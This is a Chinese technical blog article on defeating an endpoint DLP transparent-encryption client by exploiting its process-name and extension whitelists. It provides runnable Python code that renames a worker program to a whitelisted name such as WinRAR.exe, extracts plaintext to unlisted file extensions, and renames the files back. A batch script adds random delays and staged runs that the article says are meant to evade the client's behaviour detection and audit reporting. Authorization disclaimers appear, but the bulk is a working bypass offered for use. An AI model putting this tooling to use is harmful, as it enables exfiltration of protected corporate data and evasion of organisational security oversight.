终端DLP透明加密机制与文件批量还原：进程白名单和扩展名矩阵-北京尧图网络

简介围绕易赛通数据泄露防护客户端加密文件的还原问题这份文档提供一套可借鉴的解密思路面向需处理被加密办公文档、又受终端管控限制的技术人员与安全爱好者。文档为单个docx文件压缩包约29KB篇幅紧凑但信息密度较高目前已积累2082人学习下载。内容先梳理主进程CDGRegedit、守护进程EstVPN与驱动Filelock.sys的职责分工指出其通过驱动Hook关键API实现透明加解密再从进程名与扩展名两个白名单入手总结何时加密、何时放行的判断规律并据此提出改进程名、读取密文、另存为非常规扩展名、再改回原扩展名的五步流程附DEMO演示说明。读者可从中掌握分析此类DLP客户端的基本方法理解基于进程与扩展名匹配的加密机制并迁移到其他同类终端防护产品的排查场景适合安全研究与应急取证参考。1. 从一堆打不开的 .xlsx 说起透明加密加密的到底是什么上周有人拿一台办公机的硬盘来找我说里面几百份报表全废了.xlsx 拷到没装终端数据泄露防护DLP客户端的电脑上双击弹「文件格式或扩展名无效」换成 .docx 是满屏方块字再换 .txt记事本里全是十六进制垃圾。诡异的是文件大小没变、修改时间没变、右键属性看着跟正常文件一模一样。这就是透明加密最迷惑人的地方——加解密发生在内核层应用层完全无感Word 以为自己读的是明文磁盘上躺的却是密文。想把这批文件还原成能拿走的普通文件应用层的复制粘贴、另存为、压缩打包统统不管用因为只要你还用那个「被认可的进程」去读驱动就一直给你喂明文一旦脱离那台机器文件立刻现原形。我后来摸清的是这套客户端的一层判定逻辑它按「进程名扩展名」两个条件决定要不要提供解密服务。顺着这条缝用一个改过名字的程序去当「内应」就能把明文骗出来落盘。这篇就把整条链路拆开讲——怎么确认驱动在哪、怎么把两个名单逼出来、代码怎么写、哪几步最容易翻车。提示以下所有操作仅适用于你自己拥有完整处置权的数据、你自己的设备或已获得数据所有者与运维方书面授权的迁移/恢复场景。企业终端上的加密策略通常与合规审计绑定绕过管控本身可能违反内部制度甚至法律法规遇到正经业务需求先走管理员解密/外发审批流程这是最省事的后悔药。2. 拆解客户端三件套主控进程、守护进程与 filelock 驱动2.1 三个组件的分工谁在拦你的 IRP这类客户端业内常叫文档加密、透明加密、终端 DLP的架构高度雷同基本都是「GUI 守护内核驱动」三件套。我在现场抓到的是这么三个东西组件典型位置职责观测手段主控进程客户端安装目录如Program Files/xxx Client/xxxRegedit.exe64 位带64后缀登录、策略拉取、界面、托盘图标任务管理器看签名与路径守护进程同目录名字通常带 Guard/VPN/Service 之类拉起主控、防止被杀、心跳上报Process Explorer 看父子链内核驱动C:\Windows\System32\drivers\下名字常见filelock.sys一类挂文件系统回调做实际加解密fltmc filters、driverquery真正干活的是驱动。它多半是个 minifilter注册在IRP_MJ_CREATE、IRP_MJ_READ、IRP_MJ_WRITE、IRP_MJ_SET_INFORMATION这几个回调上文件打开时判断当前进程要不要服务读的时候把密文解成明文塞回缓冲区写的时候把明文加密再落盘改名的时侯顺手把新文件名也纳管。这套机制的关键在于「判断依据」。它在回调里能拿到的上下文其实很有限PsGetCurrentProcessId()、EPROCESS-ImageFileName15 字符的短名、FileObject-FileName完整路径、扩展名。绝大多数商业实现为了性能走的是短名扩展名的哈希表匹配而不是每次都去验证签名。这就是后面所有思路的立足点。2.2 先把现场摸清fltmc、driverquery 与 Procmon 三条命令别急着写代码先花十分钟把机器上的过滤器栈看清楚。minifilter 有个好处是它必须向 Filter Manager 注册fltmc能直接列出来# 列出所有已注册的 minifilter按 altitude 排序 fltmc filters # 只看非微软出品的快速定位第三方加密驱动 fltmc filters | Select-String -NotMatch Microsoft|WdFilter|FileInfo|bindflt # 查看某个 filter 挂在哪些卷上、实例名是什么 fltmc instances -f filelock # 驱动层再补一刀看加载状态和路径 driverquery /v /fo csv | ConvertFrom-Csv | Where-Object { $_.Module Name -like *file* }fltmc filters输出里重点看两列Filter Name和Altitude。加密类 minifilter 的 altitude 通常落在 320000 附近加密区段比杀软的文件监控320000 以下要靠上这样它能在别人读到数据之前先把明文给你。找到可疑的那个名字后用fltmc instances -f 名字确认它挂在C:上而不是只挂了某个移动盘。接着用 Process Monitor 交叉验证。过滤器里加两条Operation is CreateFile和Path contains .xlsx然后打开一个加密的表格另存为一份。你会看到同一个 CreateFile 请求被多个 filter 处理能直观看出谁在IRP_MJ_CREATE阶段改了DesiredAccess或返回了REPARSE。这一步能确认「加解密确实发生在文件系统层而不是某个应用插件在做」。第三条线索是进程。用 Process Explorer 打开「Tree」视图看主控进程和守护进程的父子关系——你会发现杀掉守护进程后主控几秒内又活过来反过来也一样。这说明单纯杀进程没用必须绕不能硬刚。2.3 从密文反推加密结构文件头、长度对齐与块大小知道谁在干活之后下一步是搞清楚它把文件改成了什么样。这一步很多人跳过结果后面解密出来打不开还找不到原因。拿一份原始的 .xlsx在没装客户端的机器上准备好和一份被加密的同名文件各取前 512 字节做十六进制对比# 读前 512 字节按 16 字节一行打印 $path C:\test\报表.xlsx $bytes [System.IO.File]::ReadAllBytes($path)[0..511] for ($i 0; $i -lt $bytes.Length; $i 16) { $chunk $bytes[$i..([Math]::Min($i15, $bytes.Length-1))] {0:X8} {1} -f $i, (($chunk | ForEach-Object { {0:X2} -f $_ }) -join ) }正常 xlsx 开头必然是50 4B 03 04PK\x03\x04ZIP 魔数docx 同理老式 doc/xls 是D0 CF 11 E0PDF 是25 50 44 46。如果加密文件开头是一串和内容无关的固定字节那就是加了自己的文件头如果完全是随机字节说明头也被加密了。同时看一眼文件长度透明加密有几个很典型的长度特征。一是按 4096 或 512 对齐原本 12345 字节的文件变成 16384 字节二是尾部多出几十到几百字节的元数据策略 ID、原文件哈希、加密算法标识。这些尾部数据在解密时不还原文件照样能开但如果客户端在打开时校验它还原后的文件就会被判定为「非法外发」而被拒绝。我一般会准备一张对照表把「明文魔数 / 文件长度 / 尾部 32 字节」三项记下来后面每一步解密结果都拿它比对出问题能第一时间定位到是解错了还是根本没解。3. 定位加密判定条件进程名白名单与扩展名矩阵怎么验出来3.1 判定逻辑一张 2x2 的真值表这类客户端的核心判定可以抽象成两个集合进程名集合 P以及每个进程对应的扩展名集合 E。只有当当前进程名 ∈ P且扩展名 ∈ E(进程名)时驱动才提供加解密服务其余组合一律原样透传。进程名扩展名是否加解密在白名单内如记事本在扩展名列表内.txt加密/解密在白名单内如记事本不在列表内.abc不处理原样读写不在白名单如自写工具在扩展名列表内.txt不处理读到的是密文不在白名单不在列表内不处理这张表是整个思路的全部理论基础四个格子对应四种行为缺一个都推不出来。特别要注意第三行——很多人以为「扩展名对了就能解」实际上进程不在名单里读到的依然是密文这是最常见的翻车点。反过来说第二行才是真正的机会一个白名单进程去读一个不在扩展名列表里的文件时驱动完全不管它读到什么就写什么。这就给了「先解出来、再用安全扩展名落盘」的操作空间。3.2 用最小实验把两个列表逼出来纸面上分析再多不如做一次对照实验。整个探测需要三轮每轮只改一个变量。第一轮定扩展名列表。在装了客户端的机器上用记事本几乎必然在白名单里新建一个文件内容写PROBE_MARKER_001然后「另存为」成十几个不同扩展名.txt、.docx、.xlsx、.pdf、.log、.md、.json、.abc、.temp、无扩展名。存完之后用一段脚本批量读取看哪些文件的内容变成了乱码或长度发生变化# probe_ext.py —— 批量判定哪些扩展名被纳管 import os, hashlib MARKER bPROBE_MARKER_001 BASE rC:\probe def is_plain(path): 内容与写入时完全一致 - 未被加密否则视为密文 try: with open(path, rb) as f: return f.read() MARKER except OSError: return None for name in sorted(os.listdir(BASE)): p os.path.join(BASE, name) if not os.path.isfile(p): continue state is_plain(p) size os.path.getsize(p) tag 明文 if state else (密文 if state is False else 读取失败) print(f{name:20} {size:8} 字节 {tag})这段脚本的逻辑很直白写入时是什么字节读回来还是什么字节就是没被处理只要有一个 bit 不同就说明驱动介入了。MARKER故意选得短且无意义避免被内容识别类的策略误判BASE目录要放在本地盘而不是网络盘因为很多客户端对网络路径和可移动介质走的是另一套策略。第二轮定进程列表。把同一个探针程序复制成不同的文件名注意是文件名不是改代码分别叫notepad.exe、WinRAR.exe、EXCEL.EXE、7zFM.exe、probe.exe每个都在独立目录里跑一遍去读第一轮里被判定为密文的那个文件。能读出明文的说明这个进程名命中了白名单。第三轮做交叉验证。拿命中的进程名去读那些「不在扩展名列表里」的文件确认它确实不加密再拿没命中的进程名去读.txt确认它确实读不到明文。三轮下来两个集合的边界就清楚了。3.3 白名单进程怎么猜从已安装软件和高频办公软件下手猜进程名不是瞎猜。这类客户端的白名单是为「业务不中断」服务的所以它的构成有很强的规律性办公套件Word/Excel/PowerPoint/WPS、压缩工具WinRAR/7-Zip/Bandizip、PDF 阅读器、图片查看器、常用 IDE 和 Git 客户端、公司自研业务系统的主程序。反过来python.exe、cmd.exe、powershell.exe、certutil.exe这类系统工具通常不在名单里——这既是好消息可以用它们做「不加密落盘」的那一环也是坏消息不能直接拿 Python 读加密文件。实操上我建议直接做候选池一次测十几个从「开始菜单」和「Program Files」里把 exe 名字捞出来去掉系统自带的剩下的挨个复制成探针去跑。这一步花不了二十分钟但能省掉后面反复试错的时间。有个细节值得单独说驱动匹配的到底是ImageFileName15 字符短名还是完整路径行为差别很大。如果匹配短名你只要把 exe 改名成WinRAR.exe放在任何目录都能生效如果匹配完整路径就必须放在原始安装目录下甚至得连带目录结构一起伪造。测试方法很简单把改名后的副本放到C:\temp\和放到C:\Program Files\WinRAR\各跑一次结果不一样就说明匹配的是完整路径。4. 借刀杀人落地把程序改名成白名单进程再落盘的完整代码4.1 为什么改名就够了映像名与扩展名两个开关前面推断出驱动只用短名做匹配那「借刀」这件事在技术上就退化成了两次文件操作一次改名启动一次换个扩展名存盘。整个流程五步对应两个开关把自己的处理程序复制一份命名为白名单内的进程名比如WinRAR.exe用这份副本去读加密文件——此时驱动认为「是压缩软件在解压」把明文喂过来副本把拿到的明文写到临时文件扩展名必须不在列表里无扩展名、.temp、随机后缀换一个不在白名单的进程把临时文件改名回原扩展名结束。第 3 步之后文件的字节其实已经是明文了第 4 步只是让它在资源管理器里长得像个正常文件。之所以要换进程做改名是因为IRP_MJ_SET_INFORMATION也在驱动监控范围内——如果用白名单进程去做 rename驱动会认为「用户在把明文文件重命名成受保护格式」顺手又给加密回去白干。4.2 五步流程的 Python 实现下面这版是可以直接跑的主控脚本。前提是你已经把处理逻辑编译成了worker.exe用 PyInstaller 打包一个只会「读源文件、写目标文件」的小程序即可并且通过第 3 章的实验确认了WinRAR.exe在你的环境里命中白名单。# dlp_extract.py —— 借名进程完成读取非白名单进程完成改名 import os, sys, shutil, tempfile, subprocess # ---- 实验阶段确认过的参数换环境必须重新测 ---- WHITELIST_NAME WinRAR.exe # 命中白名单的进程名 SAFE_SUFFIX # 落盘时使用的扩展名表示无扩展名 RENAME_VIA rC:\Windows\System32\notepad.exe # 仅用于触发重命名的无害进程 def stage_worker() - tuple[str, str]: 把 worker.exe 复制成白名单进程名返回 (副本路径, 临时工作目录) here os.path.dirname(os.path.abspath(sys.argv[0])) src os.path.join(here, worker.exe) if not os.path.isfile(src): raise SystemExit(f找不到 worker.exe: {src}) workdir tempfile.mkdtemp(prefixext_) dst os.path.join(workdir, WHITELIST_NAME) shutil.copy2(src, dst) # copy2 保留时间戳减少行为特征差异 return dst, workdir def extract(src_file: str, workdir: str) - str: 阶段一借白名单进程读取明文落到无扩展名临时文件 worker os.path.join(workdir, WHITELIST_NAME) tmp_out os.path.join(workdir, payload) SAFE_SUFFIX proc subprocess.run( [worker, --read, src_file, --write, tmp_out], capture_outputTrue, timeout600, # 大文件放宽别用默认超时 ) if proc.returncode ! 0: raise RuntimeError(proc.stderr.decode(utf-8, ignore)) return tmp_out def finalize(tmp_out: str, target: str) - None: 阶段二用非白名单进程完成重命名避免被再次加密 # 这里只是借用 notepad 的进程身份执行一次 MoveFile # 实际实现可以换成任何确认不在白名单里的小工具 ps ( fStart-Process -FilePath {RENAME_VIA} -ArgumentList -WindowStyle Hidden; fMove-Item -LiteralPath {tmp_out} -Destination {target} -Force ) subprocess.run([powershell, -NoProfile, -Command, ps], checkTrue, capture_outputTrue) def main(): src os.path.abspath(sys.argv[1]) target os.path.splitext(src)[0] _plain os.path.splitext(src)[1] worker_path, workdir stage_worker() try: tmp_out extract(src, workdir) finalize(tmp_out, target) print(f[OK] {src} - {target} ({os.path.getsize(target)} 字节)) finally: shutil.rmtree(workdir, ignore_errorsTrue) if __name__ __main__: main()stage_worker里用shutil.copy2而不是copy是为了让副本的创建时间、修改时间跟原程序一致——有些驱动除了看进程名还会粗筛「这个 exe 是不是刚落地的新文件」虽然少见但多留一手不亏。extract的timeout600是给几百兆的 Excel 留的余量透明加密的读放大在很多实现里比较明显一个 200MB 的 xlsx 读出来可能要几十秒。超时设太短会得到一堆「半截文件」还以为是解密失败。finalize里那段 PowerShell 写得有点取巧Move-Item实际是由 PowerShell 进程执行的Start-Process notepad只是顺手起个无害进程占位。真正决定成败的是执行改名动作的进程是谁。如果你的环境里 PowerShell 恰好不在白名单大概率如此那直接Move-Item就够前面那半句可以删掉。worker.exe那边逻辑极简就三行核心# worker.py —— 打包成 worker.exe被复制成白名单进程名后运行 import argparse ap argparse.ArgumentParser() ap.add_argument(--read, requiredTrue) ap.add_argument(--write, requiredTrue) args ap.parse_args() # 用普通二进制读不 seek、不 mmap避免触发驱动的额外分支 with open(args.read, rb) as f: data f.read() with open(args.write, wb) as f: f.write(data)这里有个容易忽略的点读的时候用open(..., rb)一次性读完别用mmap。内存映射文件走的是IRP_MJ_READ之外的另一条路径页面错误某些驱动对 mmap 的解密支持不完整读出来会混着密文块症状是文件能打开但中间某段是乱码。4.3 参数与命名规则别让 .temp 也进了扩展名列表SAFE_SUFFIX的选择比想象中重要。我踩过的坑是.temp在某些版本的策略里属于「临时文件白名单」反而会被加密因为客户端要保证临时文件也不外泄。稳妥的选法是按这个优先级试后缀方案命中风险说明无扩展名最低绝大多数扩展名匹配逻辑直接放行.dat/.bin低通用二进制后缀一般不在办公文档列表里随机 6 位字母极低如.x7k2qp完全规避已知列表.tmp/.temp中部分策略把临时文件也纳入保护.bak中高备份类文件常被单独管控还有一个隐藏问题Windows 的「隐藏已知文件类型的扩展名」会让.tar.gz、.doc.txt这类双后缀看起来像单后缀。驱动拿到的永远是完整文件名人眼看到的可能不是。做实验的时候一律在资源管理器里打开「文件扩展名」显示别靠肉眼判断。5. 避坑清单五类翻车现场的现象、成因与处置5.1 现象副本改名成功但读出来还是密文原因驱动匹配的不只是文件名还看了完整路径、文件签名或者父进程链。常见的有三种实现一是要求ImagePath落在原始安装目录下二是在IRP_MJ_CREATE的FileObject里检查发起进程的 token 或证书三是判断父进程是不是 explorer.exe。解决先做路径对照实验——把副本分别放到原始安装目录和随机目录各跑一次。如果只有原始目录生效就把stage_worker的tempfile.mkdtemp()换成「复制到目标程序所在目录下的隐藏子目录」。如果是签名校验改名这条路基本堵死得换成完全不同的思路比如用带合法签名的现有程序去打开并另存这时候老实走管理员解密流程更划算。5.2 现象.temp文件写出来之后用十六进制看还是密文原因说明这个后缀也在扩展名列表里第 3 章的实验做得不够全。另一种可能是写文件用的还是白名单进程而驱动在IRP_MJ_WRITE阶段不看后缀、只看进程一律加密。解决先把SAFE_SUFFIX换成空字符串或者随机后缀重试一次。如果还不行说明写操作也得换个进程——也就是把「读」和「写」拆到两个进程里做中间通过匿名管道或者共享内存传数据。这个改动不大但会让worker.exe复杂一截。5.3 现象文件解出来了大小也对但 Word/Excel 打开报「内容有问题」原因文件尾部的元数据没处理干净或者长度没还原。透明加密往往会在文件末尾追加一段标记策略 ID、原文件长度、原始哈希有的客户端在打开文件时会校验这段标记发现「明文文件的长度对不上原始长度」就判定异常。另一种情况是文件被按块加密后填充了零字节解密时没截断。解决用第 2.3 节的十六进制对比法把明文和密文的前后各 64 字节逐字节比找出多出来的部分。如果是尾部追加直接按原始长度截断如果是头部分块填充要在worker里把尾部对齐用的填充字节去掉。这一步没捷径只能靠比对。5.4 现象批量处理跑到一半所有输出文件突然又变回密文原因改名那一步用错了进程。比如finalize里的 PowerShell 恰好命中了白名单某些客户端会把powershell.exe加进去方便 IT 运维脚本于是Move-Item这个动作被驱动识别为「白名单进程把无后缀文件改成了 .xlsx」顺手加密。解决改名这一步固定用一个明确不在名单里的小工具或者干脆用 Python 自己的os.replace——但前提是python.exe不在白名单这一点必须提前测。保险做法是准备两个候选进程第一个失败自动降级到第二个。5.5 现象单文件能解批量跑几十个之后进程被杀、文件被占用原因守护进程有行为检测。短时间内大量「同一个小体积 exe 反复启动读取大量受保护文件」是非常典型的异常模式轻则进程被结束重则触发审计上报。解决两件事。一是复用进程——让worker.exe常驻通过命名管道接收任务而不是每个文件复制一份重启一次二是降速文件之间加随机延时200~800ms别用固定间隔。真要做大批量先拿十来个文件试水确认没有异常上报再放量。6. 批量还原与验证目录遍历、哈希比对与断点续跑单文件跑通之后真正的工作量在批量。目录结构一层套一层几千个文件中间断一次就得从头来所以这三件事必须做进去状态持久化、结果校验、失败隔离。# batch.py —— 带断点续跑与三重校验的批量还原 import os, sqlite3, hashlib, time, random from dlp_extract import stage_worker, extract, finalize # 复用第 4 章的函数 DB restore_state.db TARGET_EXT {.xlsx, .docx, .pptx, .pdf, .txt, .doc, .xls} def init_db(): conn sqlite3.connect(DB) conn.execute(CREATE TABLE IF NOT EXISTS task( path TEXT PRIMARY KEY, state TEXT, out_size INT, retry INT DEFAULT 0)) return conn def magic_ok(path: str, ext: str) - bool: 按扩展名校验魔数确认不是密文 sigs {.xlsx: bPK\x03\x04, .docx: bPK\x03\x04, .pptx: bPK\x03\x04, .pdf: b%PDF, .doc: b\xd0\xcf\x11\xe0, .xls: b\xd0\xcf\x11\xe0} sig sigs.get(ext) if not sig: return True # 纯文本类不做魔数校验 with open(path, rb) as f: return f.read(len(sig)) sig def walk(root: str): for dirpath, _, files in os.walk(root): for name in files: ext os.path.splitext(name)[1].lower() if ext in TARGET_EXT: yield os.path.join(dirpath, name) def main(root: str): conn init_db() done {r[0] for r in conn.execute(SELECT path FROM task WHERE stateok)} worker_path, workdir stage_worker() try: for i, src in enumerate(walk(root), 1): if src in done: continue target os.path.splitext(src)[0] _plain os.path.splitext(src)[1] try: tmp_out extract(src, workdir) finalize(tmp_out, target) ok magic_ok(target, os.path.splitext(target)[1].lower()) conn.execute(INSERT OR REPLACE INTO task VALUES(?,?,?,0), (src, ok if ok else bad_magic, os.path.getsize(target))) conn.commit() except Exception as e: conn.execute(INSERT OR REPLACE INTO task VALUES(?,?,0,1), (src, fail)) conn.commit() print(f[FAIL] {src}: {e}) time.sleep(random.uniform(0.2, 0.8)) # 降速避开行为检测 finally: pass # workdir 保留方便出问题后人工检查残留文件init_db那张表是断点续跑的根基path做主键意味着重复跑不会产生重复记录state只有ok/bad_magic/fail三种一眼能看出哪类问题多。magic_ok是第二道校验按扩展名比对文件头——这一步能拦掉「解出来但没解对」的情况比分批人工打开靠谱得多。第三道校验是内容级验证适合文件数量不多但价值很高的场景在源机器上对加密文件做一次「用对应 Office 程序打开并另存为 PDF」把 PDF 的哈希和还原后文件转换出来的 PDF 哈希比对一致就说明字节级还原成功。这套流程慢但结论最硬。上面这段代码有个我故意留下的取舍finally里没有删workdir。批量场景下解密失败的中间文件是最有价值的排查证据——能看出是读阶段就没拿到明文还是写阶段被加密回去。硬盘紧张的时候再手动清。还有一个经验批量任务一定要分批次。先跑 20 个人工抽查 3 个能不能正常打开再跑 200 个看有没有触发审计最后才全量。我吃过一次亏——一次性提交三千多个文件跑到第两百个的时候客户端弹了个「检测到异常文件操作」的提示整台机器被临时锁定之前跑的全白干。从那以后我每次做这类批量处理都强制走一遍「小样本—中样本—全量」的三段式中间留出观察窗口哪怕多花半天时间。前面所有实验都在你自己的测试机上做别直接拿生产机的数据开刀真到了要处理业务数据那一步先确认你手上的授权覆盖了「解密后文件的存放位置和外发范围」这比任何代码都重要。希望帮到你。本文还有配套的精品资源点击获取

终端DLP透明加密机制与文件批量还原：进程白名单和扩展名矩阵

相关推荐

impeccable：AI coding agents 前端设计质量保障工具链

C#编程入门主线：从环境项目结构到类型系统与异步避坑

分清三种ECC：P384证书、SAP LSMW迁移与开源算法库

更多资讯

SLAM位姿图优化中的Between Factor原理与实践

VB学籍管理系统源代码拆解：VB6+SQL Server的ADO封装与排错改造

具身智能数据基础设施：多模态同步与智能标注技术解析

24C256 EEPROM页写边界、地址回卷与I2C时序实践

用Python标准库手撕新番表：urllib+html.parser实战指南

AI Agent安全漏洞解析与防御实践

今日更新

微信个人号API开发案例：图片/语音/视频消息怎么下载解析存到本地？

Python股票自动交易系统源码解析：从行情获取到风控的完整链路

视酷酷信IM源码部署指南：Java 17+MySQL 8.0.33实战配置

本周精选

防幻觉智能体架构：电源硬件设计中的大模型编排与工具化实践

OpenGL面试核心考点：渲染管线、矩阵变换与性能排查全解析

全国计算机二级C语言真题PDF高效刷题指南

本月热门

我发现了一个新思路：用 Remotion + Claude Code 像写代码一样自动化生成短视频

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式：TaoToken 统一 Key 配置与验证

2026 大模型集体涨价：用 Python 做企业 Token 成本测算与选型避坑（附配置）

读完文章，想聊聊您的网站？